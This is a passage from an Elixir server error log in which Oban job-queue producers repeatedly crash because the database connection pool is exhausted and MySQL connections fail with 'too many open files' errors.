    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:08:57.239038Z], limit: 5, uuid: "14838231-e627-4550-9dd3-768e260b4513", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:57.239044Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.254844>, refresh_timer: #Reference<0.2525715032.1068236804.254835>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:08:57.239183Z], limit: 3, uuid: "0f09becc-ee5f-4cbb-83be-58dedb5f4cbb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:57.239188Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238211>, refresh_timer: #Reference<0.2525715032.1099431938.6487>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:09.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:08:57.239005Z], limit: 50, uuid: "cc722f28-ec53-4d98-aa8b-cd20a8cc2c6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:57.239010Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238210>, refresh_timer: #Reference<0.2525715032.1068236804.254830>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:12.968000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:13.588000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:14.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:19.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:19.697000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:09:09.247343Z], limit: 10, uuid: "217b2e89-d335-4e01-af6a-c588f2b64965", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:09.247348Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238458>, refresh_timer: #Reference<0.2525715032.1068236804.255004>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:09:09.253110Z], limit: 5, uuid: "1e82a1ae-992d-4a3f-9ae6-76d55c4ac97b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:09.253116Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.6705>, refresh_timer: #Reference<0.2525715032.1099431938.6691>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:09:09.247042Z], limit: 20, uuid: "e7d7d25d-fa3a-4461-bdc7-9ce283c70dd3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:09.247052Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238457>, refresh_timer: #Reference<0.2525715032.1068236804.254989>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:09:09.241087Z], limit: 5, uuid: "4d824464-8521-4194-9718-a7cca31bff40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:09.241098Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238459>, refresh_timer: #Reference<0.2525715032.1068236804.254961>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:21.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:09:09.256378Z], limit: 50, uuid: "78b20812-db71-4f5d-bd7b-3460bddf6500", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:09.256383Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238456>, refresh_timer: #Reference<0.2525715032.1077411843.238448>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:21.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:09:09.256234Z], limit: 3, uuid: "27b78d9c-8d0f-438c-80f2-d2b0e4c15e78", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:09.256241Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.238460>, refresh_timer: #Reference<0.2525715032.1121189889.108758>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:23.620000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:24.939000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:26.899000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:27.210000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:28.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:32.347000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:09:32.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
